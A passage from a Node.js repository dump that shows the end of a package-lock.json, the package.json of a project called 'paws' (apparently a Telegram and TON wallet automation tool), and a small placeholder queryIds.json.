771 | "domhandler": "^4.0.0",
772 | "domutils": "^2.5.2",
773 | "entities": "^2.0.0"
774 | }
775 | },
776 | "node_modules/https-proxy-agent": {
777 | "version": "7.0.5",
778 | "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.5.tgz",
779 | "integrity": "sha512-1e4Wqeblerz+tMKPIq2EMGiiWW1dIjZOksyHWSUm1rmuvw/how9hBHZ38lAGj5ID4Ik6EdkOw7NmWPy6LAwalw==",
780 | "dependencies": {
781 | "agent-base": "^7.0.2",
782 | "debug": "4"
783 | },
784 | "engines": {
785 | "node": ">= 14"
786 | }
787 | },
788 | "node_modules/iconv-lite": {
789 | "version": "0.4.24",
790 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
791 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
792 | "dependencies": {
793 | "safer-buffer": ">= 2.1.2 < 3"
794 | },
795 | "engines": {
796 | "node": ">=0.10.0"
797 | }
798 | },
799 | "node_modules/ieee754": {
800 | "version": "1.2.1",
801 | "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
802 | "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
803 | "funding": [
804 | {
805 | "type": "github",
806 | "url": "https://github.com/sponsors/feross"
807 | },
808 | {
809 | "type": "patreon",
810 | "url": "https://www.patreon.com/feross"
811 | },
812 | {
813 | "type": "consulting",
814 | "url": "https://feross.org/support"
815 | }
816 | ]
817 | },
818 | "node_modules/imurmurhash": {
819 | "version": "0.1.4",
820 | "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
821 | "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
822 | "engines": {
823 | "node": ">=0.8.19"
824 | }
825 | },
826 | "node_modules/ip-address": {
827 | "version": "9.0.5",
828 | "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz",
829 | "integrity": "sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==",
830 | "dependencies": {
831 | "jsbn": "1.1.0",
832 | "sprintf-js": "^1.1.3"
833 | },
834 | "engines": {
835 | "node": ">= 12"
836 | }
837 | },
838 | "node_modules/is-fullwidth-code-point": {
839 | "version": "3.0.0",
840 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
841 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
842 | "engines": {
843 | "node": ">=8"
844 | }
845 | },
846 | "node_modules/is-typedarray": {
847 | "version": "1.0.0",
848 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
849 | "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA=="
850 | },
851 | "node_modules/jsbn": {
852 | "version": "1.1.0",
853 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz",
854 | "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A=="
855 | },
856 | "node_modules/jssha": {
857 | "version": "3.2.0",
858 | "resolved": "https://registry.npmjs.org/jssha/-/jssha-3.2.0.tgz",
859 | "integrity": "sha512-QuruyBENDWdN4tZwJbQq7/eAK85FqrI4oDbXjy5IBhYD+2pTJyBUWZe8ctWaCkrV0gy6AaelgOZZBMeswEa/6Q==",
860 | "engines": {
861 | "node": "*"
862 | }
863 | },
864 | "node_modules/lodash": {
865 | "version": "4.17.21",
866 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
867 | "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
868 | },
869 | "node_modules/mime": {
870 | "version": "3.0.0",
871 | "resolved": "https://registry.npmjs.org/mime/-/mime-3.0.0.tgz",
872 | "integrity": "sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==",
873 | "bin": {
874 | "mime": "cli.js"
875 | },
876 | "engines": {
877 | "node": ">=10.0.0"
878 | }
879 | },
880 | "node_modules/mime-db": {
881 | "version": "1.52.0",
882 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
883 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
884 | "engines": {
885 | "node": ">= 0.6"
886 | }
887 | },
888 | "node_modules/mime-types": {
889 | "version": "2.1.35",
890 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
891 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
892 | "dependencies": {
893 | "mime-db": "1.52.0"
894 | },
895 | "engines": {
896 | "node": ">= 0.6"
897 | }
898 | },
899 | "node_modules/moment": {
900 | "version": "2.30.1",
901 | "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz",
902 | "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==",
903 | "engines": {
904 | "node": "*"
905 | }
906 | },
907 | "node_modules/ms": {
908 | "version": "2.1.3",
909 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
910 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
911 | },
912 | "node_modules/mute-stream": {
913 | "version": "1.0.0",
914 | "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-1.0.0.tgz",
915 | "integrity": "sha512-avsJQhyd+680gKXyG/sQc0nXaC6rBkPOfyHYcFb9+hdkqQkR9bdnkJ0AMZhke0oesPqIO+mFFJ+IdBc7mst4IA==",
916 | "engines": {
917 | "node": "^14.17.0 || ^16.13.0 || >=18.0.0"
918 | }
919 | },
920 | "node_modules/next-tick": {
921 | "version": "1.1.0",
922 | "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz",
923 | "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ=="
924 | },
925 | "node_modules/node-gyp-build": {
926 | "version": "4.8.2",
927 | "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.8.2.tgz",
928 | "integrity": "sha512-IRUxE4BVsHWXkV/SFOut4qTlagw2aM8T5/vnTsmrHJvVoKueJHRc/JaFND7QDDc61kLYUJ6qlZM3sqTSyx2dTw==",
929 | "bin": {
930 | "node-gyp-build": "bin.js",
931 | "node-gyp-build-optional": "optional.js",
932 | "node-gyp-build-test": "build-test.js"
933 | }
934 | },
935 | "node_modules/node-localstorage": {
936 | "version": "2.2.1",
937 | "resolved": "https://registry.npmjs.org/node-localstorage/-/node-localstorage-2.2.1.tgz",
938 | "integrity": "sha512-vv8fJuOUCCvSPjDjBLlMqYMHob4aGjkmrkaE42/mZr0VT+ZAU10jRF8oTnX9+pgU9/vYJ8P7YT3Vd6ajkmzSCw==",
939 | "dependencies": {
940 | "write-file-atomic": "^1.1.4"
941 | },
942 | "engines": {
943 | "node": ">=0.12"
944 | }
945 | },
946 | "node_modules/os-tmpdir": {
947 | "version": "1.0.2",
948 | "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
949 | "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==",
950 | "engines": {
951 | "node": ">=0.10.0"
952 | }
953 | },
954 | "node_modules/p-limit": {
955 | "version": "6.1.0",
956 | "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-6.1.0.tgz",
957 | "integrity": "sha512-H0jc0q1vOzlEk0TqAKXKZxdl7kX3OFUzCnNVUnq5Pc3DGo0kpeaMuPqxQn235HibwBEb0/pm9dgKTjXy66fBkg==",
958 | "dependencies": {
959 | "yocto-queue": "^1.1.1"
960 | },
961 | "engines": {
962 | "node": ">=18"
963 | },
964 | "funding": {
965 | "url": "https://github.com/sponsors/sindresorhus"
966 | }
967 | },
968 | "node_modules/pako": {
969 | "version": "2.1.0",
970 | "resolved": "https://registry.npmjs.org/pako/-/pako-2.1.0.tgz",
971 | "integrity": "sha512-w+eufiZ1WuJYgPXbV/PO3NCMEc3xqylkKHzp8bxp1uW4qaSNQUkwmLLEc3kKsfz8lpV1F8Ht3U1Cm+9Srog2ug=="
972 | },
973 | "node_modules/path-browserify": {
974 | "version": "1.0.1",
975 | "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz",
976 | "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g=="
977 | },
978 | "node_modules/proxy-from-env": {
979 | "version": "1.1.0",
980 | "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
981 | "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
982 | },
983 | "node_modules/qrcode-terminal": {
984 | "version": "0.12.0",
985 | "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz",
986 | "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==",
987 | "bin": {
988 | "qrcode-terminal": "bin/qrcode-terminal.js"
989 | }
990 | },
991 | "node_modules/real-cancellable-promise": {
992 | "version": "1.2.0",
993 | "resolved": "https://registry.npmjs.org/real-cancellable-promise/-/real-cancellable-promise-1.2.0.tgz",
994 | "integrity": "sha512-FYhmx1FVSgoPRjneoTjh+EKZcNb8ijl/dyatTzase5eujYhVrLNDOiIY6AgQq7GU1kOoLgEd9jLVbhFg8k8dOQ=="
995 | },
996 | "node_modules/safer-buffer": {
997 | "version": "2.1.2",
998 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
999 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
1000 | },
1001 | "node_modules/signal-exit": {
1002 | "version": "4.1.0",
1003 | "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
1004 | "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
1005 | "engines": {
1006 | "node": ">=14"
1007 | },
1008 | "funding": {
1009 | "url": "https://github.com/sponsors/isaacs"
1010 | }
1011 | },
1012 | "node_modules/slide": {
1013 | "version": "1.1.6",
1014 | "resolved": "https://registry.npmjs.org/slide/-/slide-1.1.6.tgz",
1015 | "integrity": "sha512-NwrtjCg+lZoqhFU8fOwl4ay2ei8PaqCBOUV3/ektPY9trO1yQ1oXEfmHAhKArUVUr/hOHvy5f6AdP17dCM0zMw==",
1016 | "engines": {
1017 | "node": "*"
1018 | }
1019 | },
1020 | "node_modules/smart-buffer": {
1021 | "version": "4.2.0",
1022 | "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz",
1023 | "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==",
1024 | "engines": {
1025 | "node": ">= 6.0.0",
1026 | "npm": ">= 3.0.0"
1027 | }
1028 | },
1029 | "node_modules/socks": {
1030 | "version": "2.8.3",
1031 | "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.3.tgz",
1032 | "integrity": "sha512-l5x7VUUWbjVFbafGLxPWkYsHIhEvmF85tbIeFZWc8ZPtoMyybuEhL7Jye/ooC4/d48FgOjSJXgsF/AJPYCW8Zw==",
1033 | "dependencies": {
1034 | "ip-address": "^9.0.5",
1035 | "smart-buffer": "^4.2.0"
1036 | },
1037 | "engines": {
1038 | "node": ">= 10.0.0",
1039 | "npm": ">= 3.0.0"
1040 | }
1041 | },
1042 | "node_modules/sprintf-js": {
1043 | "version": "1.1.3",
1044 | "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz",
1045 | "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA=="
1046 | },
1047 | "node_modules/store2": {
1048 | "version": "2.14.3",
1049 | "resolved": "https://registry.npmjs.org/store2/-/store2-2.14.3.tgz",
1050 | "integrity": "sha512-4QcZ+yx7nzEFiV4BMLnr/pRa5HYzNITX2ri0Zh6sT9EyQHbBHacC6YigllUPU9X3D0f/22QCgfokpKs52YRrUg=="
1051 | },
1052 | "node_modules/string-width": {
1053 | "version": "4.2.3",
1054 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
1055 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
1056 | "dependencies": {
1057 | "emoji-regex": "^8.0.0",
1058 | "is-fullwidth-code-point": "^3.0.0",
1059 | "strip-ansi": "^6.0.1"
1060 | },
1061 | "engines": {
1062 | "node": ">=8"
1063 | }
1064 | },
1065 | "node_modules/string-width/node_modules/ansi-regex": {
1066 | "version": "5.0.1",
1067 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
1068 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
1069 | "engines": {
1070 | "node": ">=8"
1071 | }
1072 | },
1073 | "node_modules/string-width/node_modules/strip-ansi": {
1074 | "version": "6.0.1",
1075 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
1076 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
1077 | "dependencies": {
1078 | "ansi-regex": "^5.0.1"
1079 | },
1080 | "engines": {
1081 | "node": ">=8"
1082 | }
1083 | },
1084 | "node_modules/strip-ansi": {
1085 | "version": "7.1.0",
1086 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
1087 | "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
1088 | "dependencies": {
1089 | "ansi-regex": "^6.0.1"
1090 | },
1091 | "engines": {
1092 | "node": ">=12"
1093 | },
1094 | "funding": {
1095 | "url": "https://github.com/chalk/strip-ansi?sponsor=1"
1096 | }
1097 | },
1098 | "node_modules/symbol.inspect": {
1099 | "version": "1.0.1",
1100 | "resolved": "https://registry.npmjs.org/symbol.inspect/-/symbol.inspect-1.0.1.tgz",
1101 | "integrity": "sha512-YQSL4duoHmLhsTD1Pw8RW6TZ5MaTX5rXJnqacJottr2P2LZBF/Yvrc3ku4NUpMOm8aM0KOCqM+UAkMA5HWQCzQ=="
1102 | },
1103 | "node_modules/telegram": {
1104 | "version": "2.26.6",
1105 | "resolved": "https://registry.npmjs.org/telegram/-/telegram-2.26.6.tgz",
1106 | "integrity": "sha512-2nZGL3ADRnEoWV0NMH4E+rhPFSD03HQ1ugTHJqpZR2l0iPz5m8TfD+fWoicfe8sltpCcj7nLmNsiEf5ExX/eGA==",
1107 | "dependencies": {
1108 | "@cryptography/aes": "^0.1.1",
1109 | "async-mutex": "^0.3.0",
1110 | "big-integer": "^1.6.48",
1111 | "buffer": "^6.0.3",
1112 | "htmlparser2": "^6.1.0",
1113 | "mime": "^3.0.0",
1114 | "node-localstorage": "^2.2.1",
1115 | "pako": "^2.0.3",
1116 | "path-browserify": "^1.0.1",
1117 | "real-cancellable-promise": "^1.1.1",
1118 | "socks": "^2.6.2",
1119 | "store2": "^2.13.0",
1120 | "ts-custom-error": "^3.2.0",
1121 | "websocket": "^1.0.34"
1122 | },
1123 | "optionalDependencies": {
1124 | "bufferutil": "^4.0.3",
1125 | "utf-8-validate": "^5.0.5"
1126 | }
1127 | },
1128 | "node_modules/teslabot": {
1129 | "version": "1.5.0",
1130 | "resolved": "https://registry.npmjs.org/teslabot/-/teslabot-1.5.0.tgz",
1131 | "integrity": "sha512-e2MmELhCgrgZEGo7PQu/6bmYG36IDH+YrBI1iGm6jovXkeDIGa3pZ2WSqRjzkuw2vt1EqfkZoV5GpXgqL8QJVg=="
1132 | },
1133 | "node_modules/tmp": {
1134 | "version": "0.0.33",
1135 | "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
1136 | "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
1137 | "dependencies": {
1138 | "os-tmpdir": "~1.0.2"
1139 | },
1140 | "engines": {
1141 | "node": ">=0.6.0"
1142 | }
1143 | },
1144 | "node_modules/ts-custom-error": {
1145 | "version": "3.3.1",
1146 | "resolved": "https://registry.npmjs.org/ts-custom-error/-/ts-custom-error-3.3.1.tgz",
1147 | "integrity": "sha512-5OX1tzOjxWEgsr/YEUWSuPrQ00deKLh6D7OTWcvNHm12/7QPyRh8SYpyWvA4IZv8H/+GQWQEh/kwo95Q9OVW1A==",
1148 | "engines": {
1149 | "node": ">=14.0.0"
1150 | }
1151 | },
1152 | "node_modules/tslib": {
1153 | "version": "2.8.0",
1154 | "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.0.tgz",
1155 | "integrity": "sha512-jWVzBLplnCmoaTr13V9dYbiQ99wvZRd0vNWaDRg+aVYRcjDF3nDksxFDE/+fkXnKhpnUUkmx5pK/v8mCtLVqZA=="
1156 | },
1157 | "node_modules/tweetnacl": {
1158 | "version": "1.0.3",
1159 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-1.0.3.tgz",
1160 | "integrity": "sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw=="
1161 | },
1162 | "node_modules/type": {
1163 | "version": "2.7.3",
1164 | "resolved": "https://registry.npmjs.org/type/-/type-2.7.3.tgz",
1165 | "integrity": "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ=="
1166 | },
1167 | "node_modules/type-fest": {
1168 | "version": "0.21.3",
1169 | "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
1170 | "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==",
1171 | "engines": {
1172 | "node": ">=10"
1173 | },
1174 | "funding": {
1175 | "url": "https://github.com/sponsors/sindresorhus"
1176 | }
1177 | },
1178 | "node_modules/typedarray-to-buffer": {
1179 | "version": "3.1.5",
1180 | "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
1181 | "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
1182 | "dependencies": {
1183 | "is-typedarray": "^1.0.0"
1184 | }
1185 | },
1186 | "node_modules/undici-types": {
1187 | "version": "6.19.8",
1188 | "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.19.8.tgz",
1189 | "integrity": "sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw=="
1190 | },
1191 | "node_modules/utf-8-validate": {
1192 | "version": "5.0.10",
1193 | "resolved": "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.10.tgz",
1194 | "integrity": "sha512-Z6czzLq4u8fPOyx7TU6X3dvUZVvoJmxSQ+IcrlmagKhilxlhZgxPK6C5Jqbkw1IDUmFTM+cz9QDnnLTwDz/2gQ==",
1195 | "hasInstallScript": true,
1196 | "dependencies": {
1197 | "node-gyp-build": "^4.3.0"
1198 | },
1199 | "engines": {
1200 | "node": ">=6.14.2"
1201 | }
1202 | },
1203 | "node_modules/websocket": {
1204 | "version": "1.0.35",
1205 | "resolved": "https://registry.npmjs.org/websocket/-/websocket-1.0.35.tgz",
1206 | "integrity": "sha512-/REy6amwPZl44DDzvRCkaI1q1bIiQB0mEFQLUrhz3z2EK91cp3n72rAjUlrTP0zV22HJIUOVHQGPxhFRjxjt+Q==",
1207 | "dependencies": {
1208 | "bufferutil": "^4.0.1",
1209 | "debug": "^2.2.0",
1210 | "es5-ext": "^0.10.63",
1211 | "typedarray-to-buffer": "^3.1.5",
1212 | "utf-8-validate": "^5.0.2",
1213 | "yaeti": "^0.0.6"
1214 | },
1215 | "engines": {
1216 | "node": ">=4.0.0"
1217 | }
1218 | },
1219 | "node_modules/websocket/node_modules/debug": {
1220 | "version": "2.6.9",
1221 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
1222 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
1223 | "dependencies": {
1224 | "ms": "2.0.0"
1225 | }
1226 | },
1227 | "node_modules/websocket/node_modules/ms": {
1228 | "version": "2.0.0",
1229 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
1230 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
1231 | },
1232 | "node_modules/wrap-ansi": {
1233 | "version": "6.2.0",
1234 | "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
1235 | "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
1236 | "dependencies": {
1237 | "ansi-styles": "^4.0.0",
1238 | "string-width": "^4.1.0",
1239 | "strip-ansi": "^6.0.0"
1240 | },
1241 | "engines": {
1242 | "node": ">=8"
1243 | }
1244 | },
1245 | "node_modules/wrap-ansi/node_modules/ansi-regex": {
1246 | "version": "5.0.1",
1247 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
1248 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
1249 | "engines": {
1250 | "node": ">=8"
1251 | }
1252 | },
1253 | "node_modules/wrap-ansi/node_modules/strip-ansi": {
1254 | "version": "6.0.1",
1255 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
1256 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
1257 | "dependencies": {
1258 | "ansi-regex": "^5.0.1"
1259 | },
1260 | "engines": {
1261 | "node": ">=8"
1262 | }
1263 | },
1264 | "node_modules/write-file-atomic": {
1265 | "version": "1.3.4",
1266 | "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-1.3.4.tgz",
1267 | "integrity": "sha512-SdrHoC/yVBPpV0Xq/mUZQIpW2sWXAShb/V4pomcJXh92RuaO+f3UTWItiR3Px+pLnV2PvC2/bfn5cwr5X6Vfxw==",
1268 | "dependencies": {
1269 | "graceful-fs": "^4.1.11",
1270 | "imurmurhash": "^0.1.4",
1271 | "slide": "^1.1.5"
1272 | }
1273 | },
1274 | "node_modules/yaeti": {
1275 | "version": "0.0.6",
1276 | "resolved": "https://registry.npmjs.org/yaeti/-/yaeti-0.0.6.tgz",
1277 | "integrity": "sha512-MvQa//+KcZCUkBTIC9blM+CU9J2GzuTytsOUwf2lidtvkx/6gnEp1QvJv34t9vdjhFmha/mUiNDbN0D0mJWdug==",
1278 | "engines": {
1279 | "node": ">=0.10.32"
1280 | }
1281 | },
1282 | "node_modules/yocto-queue": {
1283 | "version": "1.1.1",
1284 | "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-1.1.1.tgz",
1285 | "integrity": "sha512-b4JR1PFR10y1mKjhHY9LaGo6tmrgjit7hxVIeAmyMw3jegXR4dhYqLaQF5zMXZxY7tLpMyJeLjr1C4rLmkVe8g==",
1286 | "engines": {
1287 | "node": ">=12.20"
1288 | },
1289 | "funding": {
1290 | "url": "https://github.com/sponsors/sindresorhus"
1291 | }
1292 | },
1293 | "node_modules/yoctocolors-cjs": {
1294 | "version": "2.1.2",
1295 | "resolved": "https://registry.npmjs.org/yoctocolors-cjs/-/yoctocolors-cjs-2.1.2.tgz",
1296 | "integrity": "sha512-cYVsTjKl8b+FrnidjibDWskAv7UKOfcwaVZdp/it9n1s9fU3IkgDbhdIRKCW4JDsAlECJY0ytoVPT3sK6kideA==",
1297 | "engines": {
1298 | "node": ">=18"
1299 | },
1300 | "funding": {
1301 | "url": "https://github.com/sponsors/sindresorhus"
1302 | }
1303 | },
1304 | "node_modules/zod": {
1305 | "version": "3.23.8",
1306 | "resolved": "https://registry.npmjs.org/zod/-/zod-3.23.8.tgz",
1307 | "integrity": "sha512-XBx9AXhXktjUqnepgTiE5flcKIYWi/rme0Eaj+5Y0lftuGBq+jyRu/md4WnuxqgP1ubdpNCsYEYPxrzVHD8d6g==",
1308 | "funding": {
1309 | "url": "https://github.com/sponsors/colinhacks"
1310 | }
1311 | }
1312 | }
1313 | }
1314 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "paws",
3 | "version": "1.0.4",
4 | "main": "index.js",
5 | "scripts": {
6 | "test": "echo \"Error: no test specified\" && exit 1"
7 | },
8 | "keywords": [],
9 | "author": "",
10 | "license": "ISC",
11 | "description": "",
12 | "dependencies": {
13 | "@inquirer/prompts": "^5.3.2",
14 | "axios": ">=1.7.4",
15 | "commander": "^12.1.0",
16 | "dotenv": "^16.4.5",
17 | "fdy-tmp": "^1.0.4",
18 | "https-proxy-agent": "^7.0.5",
19 | "lodash": "^4.17.21",
20 | "moment": "^2.30.1",
21 | "p-limit": "^6.1.0",
22 | "qrcode-terminal": "^0.12.0",
23 | "strip-ansi": "^7.1.0",
24 | "telegram": "^2.22.2",
25 | "@ton/core": "^0.59.0",
26 | "@ton/crypto": "^3.3.0",
27 | "@ton/ton": "^15.1.0",
28 | "buffer": "^6.0.3"
29 | },
30 | "devDependencies": {
31 | "@types/lodash": "^4.17.7"
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/queryIds.json:
--------------------------------------------------------------------------------
1 | {
2 | "254700503299": "query_id"
3 | }
4 |
--------------------------------------------------------------------------------